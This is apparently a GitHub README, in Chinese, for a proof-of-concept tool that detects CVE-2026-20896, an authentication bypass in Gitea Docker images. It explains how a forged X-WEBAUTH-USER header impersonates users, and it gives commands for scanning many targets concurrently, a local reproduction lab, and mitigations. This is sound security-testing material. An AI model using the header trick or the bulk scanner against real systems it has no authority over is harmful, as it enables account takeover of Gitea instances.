szybnev/cve-2026-20896-gitea-poc

GitHub: szybnev/cve-2026-20896-gitea-poc

检测 Gitea Docker 镜像在启用反向代理身份验证时因信任所有代理 IP 而导致的身份验证绕过漏洞(CVE-2026-20896)。

Stars: 9 | Forks: 0

# CVE-2026-20896 Gitea Docker 身份验证绕过检测工具 仅供授权的红队 / 渗透测试操作使用。 本仓库包含针对 CVE-2026-20896 的一个简易检测工具。该漏洞是在启用了反向代理身份验证的情况下,版本号至 `1.26.2` 及之前的官方 Gitea Docker 镜像中存在的身份验证绕过漏洞。 ## CVE-2026-20896 简介 受影响的 Gitea Docker 镜像随附的 `app.ini` 模板包含以下内容: ``` REVERSE_PROXY_TRUSTED_PROXIES = * ``` 当管理员启用以下配置时: ``` ENABLE_REVERSE_PROXY_AUTHENTICATION = true ``` Gitea 会信任来自任何可直接访问容器 HTTP 端口的源 IP 的 `X-WEBAUTH-USER` 标头。如果客户端绕过了预期的身份验证反向代理,只需发送单个标头即可冒充已知或可猜测的用户。 其实际影响是未经身份验证的账户冒充。如果被冒充的用户是管理员,最坏的情况是 Gitea 实例及其代码库面临完全的应用层级接管。主机级别的 RCE 取决于具体环境,本检测工具不作相关声明。 修复版本从 `1.26.3` 开始;建议升级至 `1.26.4` 或更高版本。 ## PoC 工作原理 该检测工具会执行以下操作: 1. 获取目标主页。 2. 查找如 `Powered by Gitea Version: 1.26.4` 的页脚文本。 3. 如果解析到的版本为 `>= 1.26.3`,则默认跳过测试。 4. 针对提供的每个用户名,发送带有 `X-WEBAUTH-USER: ` 标头的 `GET /` 请求。 5. 当返回的页面标题显示为该用户已登录的仪表板时,报告命中。 Go 版本支持多目标、用户名文件、并发、超时、JSONL 输出、TLS `--insecure`、`--dry-run` 和 `--force`。 ## 编译 ``` go build -o gitea-cve-2026-20896-check . ``` 无需任何第三方 Go 依赖。 ## 用法 单个目标: ``` ./gitea-cve-2026-20896-check \ --url http://localhost:3000 \ --users admin,gitea_admin,alice ``` 多个目标和用户名: ``` ./gitea-cve-2026-20896-check \ --targets targets.txt \ --user-file users.txt \ --concurrency 64 \ --timeout 8s \ --jsonl ``` 空运行: ``` ./gitea-cve-2026-20896-check \ --url http://localhost:3000 \ --users admin,alice \ --dry-run ``` Bash 备选方案: ``` ./poc.sh --url http://localhost:3000 --users admin,alice ``` ## 退出代码 - `0`:确认至少存在一个易受攻击的冒充行为 - `1`:未确认存在易受攻击的冒充行为 - `2`:用法、输入或运行时错误 ## 本地复现实验 以下实验步骤将启动一个受影响的本地 Gitea 容器,并创建一个测试用户: ``` docker run -d --name gitea-cve-2026-20896 \ -p 127.0.0.1:3000:3000 \ -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \ -e GITEA__security__INSTALL_LOCK=true \ gitea/gitea:1.26.2 sleep 15 docker exec --user git gitea-cve-2026-20896 gitea admin user create \ --username alice \ --password 'longpasswordhere1234' \ --email alice@example.test \ --must-change-password=false ./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin ``` 预期为阳性的结果: ``` [VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea" ``` 清理: ``` docker rm -f gitea-cve-2026-20896 ``` ## 缓解措施 - 将 Gitea 升级至 `1.26.3` 或更高版本;推荐升级至 `1.26.4` 或更高版本。 - 不要将后端 Gitea 容器的 HTTP 端口直接暴露给不受信任的网络。 - 明确配置受信任的反向代理。 - 除非已明确网络路径和代理信任边界,否则请保持反向代理身份验证处于禁用状态。 ## 参考 - Gitea 安全公告: - Gitea `1.26.3` / `1.26.4` 版本发布公告: - 修复 PR: - CVE 记录: - 通过 The Hacker News / Sysdig 遥测发布的野外探测报告:
标签:CISA项目, EVTX分析, Gitea, Go语言, 云原生安全, 安全研究, 应用安全, 日志审计, 程序破解, 请求拦截, 身份认证绕过